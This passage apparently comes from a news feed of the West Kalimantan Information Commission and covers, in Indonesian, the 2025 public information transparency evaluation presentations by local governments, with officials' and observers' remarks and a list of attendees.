Dalam penyampaiannya, para pimpinan daerah menekankan bahwa keterbukaan informasi adalah kunci membangun kepercayaan publik. Kadis Kominfo Sekadau, Matius Jon, menegaskan, “Transparansi mencegah kita melakukan korupsi.” Sementara itu, Kadis Kominfo Ketapang, Doni Andriawan, membawa pesan Bupati Ketapang bahwa “Pemerintah yang transparan adalah kunci kepercayaan publik dan kemajuan daerah. Keterbukaan adalah komitmen kami, gotong royong adalah kekuatan kami dalam membangun Ketapang yang lebih maju dan mandiri.” Hal senada juga ditegaskan Bupati Sanggau, Yohanes Ontot, yang menyatakan dukungan penuh terhadap keterbukaan informasi agar masyarakat memperoleh haknya atas informasi.
Dari unsur eksternal, Fubertus Ipur, aktivis Lembaga ELPagar, memberikan apresiasi kepada Komisi Informasi Kalbar atas penyelenggaraan presentasi Monev yang dinilai positif karena telah melibatkan berbagai unsur masyarakat sebagai observer, termasuk CSO dan mahasiswa. Ia menegaskan bahwa keterbatasan pemerintah kabupaten merupakan persoalan nyata, bahkan informasi kerap berpotensi menjadi alat pemiskinan struktural. “Tantangan utama adalah bagaimana menjadikan informasi sebagai penggerak untuk mendorong daerah agar lebih maju, transparan, serta mampu menghadirkan program pembangunan yang tepat berdasarkan data dan informasi yang akurat,” tegasnya.
Sementara itu, Eva Caroline, Wapemred Ruai TV Pontianak, menyampaikan apresiasi atas kepercayaan menjadi observer dalam kegiatan Monev keterbukaan informasi. Ia menekankan pentingnya Monev yang dilakukan Komisi Informasi agar benar-benar bermanfaat bagi lembaga publik dan masyarakat, karena masih banyak yang belum memahami hak keterbukaan informasi beserta payung hukumnya. “Strategi KI sudah baik dengan melibatkan pemerintah daerah, mengevaluasi, serta menyoroti capaian dan kekurangan. Namun saya berharap catatan hasil Monev tidak berhenti pada rekomendasi umum, melainkan ditindaklanjuti hingga ke level kebijakan yang implementatif, tepat sasaran, dan efektif,” ujarnya.
Dengan mengusung tema “Keterbukaan Informasi Publik, Menuju Kalbar Maju, Sejahtera, dan Berkelanjutan,” kegiatan ini menjadi momentum penting bagi pemerintah kabupaten/kota di Kalimantan Barat untuk memperkuat implementasi prinsip keterbukaan informasi publik. Lebih dari sekadar evaluasi, presentasi ini mencerminkan komitmen kolektif membangun pemerintahan yang bersih, terpercaya, serta berpihak pada kepentingan masyarakat luas.
Ketua Komisi Informasi Provinsi Kalimantan Barat M. Darusalam, menyampaikan harapan agar kegiatan presentasi ini dapat memperkuat komitmen para pimpinan daerah dan melahirkan inovasi nyata dalam pelayanan informasi publik. Dengan demikian, keterbukaan informasi dapat berfungsi sebagai instrumen penting untuk mewujudkan tata kelola pemerintahan yang baik serta memberi dampak positif bagi kesejahteraan masyarakat Kalbar.
The post Kabupaten/Kota se-Kalbar Paparkan Komitmen Transparansi Dalam Presentasi Monev Keterbukaan Informasi 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Presentasi Monev Keterbukaan Informasi Publik 2025, Bahas Inovasi dan Strategi Transparansi appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Presentasi menjadi tahap penting bagi Komisi Informasi Kalbar untuk menilai secara langsung komitmen pimpinan, inovasi, dan strategi Badan Publik dalam pelaksanaan keterbukaan informasi publik, sebagaimana diamanatkan dalam Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik dan Peraturan Komisi Informasi Nomor 1 Tahun 2021 tentang Standar Layanan Informasi Publik.
Sesi presentasi ini mendapat perhatian dari pimpinan Badan Publik karena bobot penilaian yang cukup besar yaitu 30 persen.
Hadir pada kesempatan presentasi tersebut sejumlah pimpinan daerah dan Kepala Dinas, di antaranya:
* Wakil Walikota Pontianak Bahasan
* Bupati Mempawah Hj. Erlina, S.H., M.H (hadir secara daring),
* Bupati Landak Dr. Karolin Margret Natasa, M.H,
* Bupati Bengkayang Sebastianus Darwis, S.E., M.M.
* Walikota Singkawang Tjhai Chui Mie, S.E., M.H.
* Asisten III Sambas H. Budiman, S.E., M.M., CGCAE.
* Kadis Diskominfo Kubu Raya Eddy Mudianto, S.H., M.H
Sejumlah Kepala Dinas juga turut hadir mendampingi yaitu Kadiskominfo Pontianak Zulkarnain dan jajaran, Kadiskominfo Mempawah Rudi, S.STP., M.A dan jajaran, Plt Kadiskominfo Landak Mardimo, S.E., M.E., Plt Kadiskominfo Sambas Riza Sunanda, S.T., M.T., M.Eng, Kadiskominfo Bengkayang Ucok Parsaulian Hasugian, S.STP., M.Si. beserta Kadiskominfo Singkawang Evan Ernanda, S.Kom serta jajaran.
Selain itu, hadir pula perwakilan eksternal yang sengaja diundang sebagai observer untuk memberikan masukan dan pandangan terhadap pelaksanaan keterbukaan informasi oleh Badan Publik diantaranya Dina P. Wardoyo (Ketua Forum Jurnalis Perempuan Indonesia Kalbar) dan Hermawansyah (aktivis sosial, pendiri Lembaga Gemawan).
Tahun ini, kegiatan Monev Keterbukaan Informasi Publik mengusung tema:
“Keterbukaan Informasi Publik, Menuju Kalbar Maju, Sejahtera, dan Berkelanjutan.”
Tema tersebut merefleksikan semangat transformasi pelayanan informasi publik yang tidak hanya transparan dan akuntabel, tetapi juga berorientasi pada pembangunan daerah yang inklusif dan berkelanjutan.
Disampaikan oleh M. Darusalam (Ketua KI Kalbar) bahwa Komisi Informasi Provinsi Kalimantan Barat berharap kegiatan presentasi ini dapat memperkuat komitmen pimpinan daerah sekaligus menghadirkan inovasi nyata dalam pelayanan informasi publik, sehingga keterbukaan informasi benar-benar menjadi instrumen penting dalam mewujudkan tata kelola pemerintahan yang baik yang berdampak nyata terhadap kesejahteraan masyarakat Kalbar.
The post Presentasi Monev Keterbukaan Informasi Publik 2025, Bahas Inovasi dan Strategi Transparansi appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>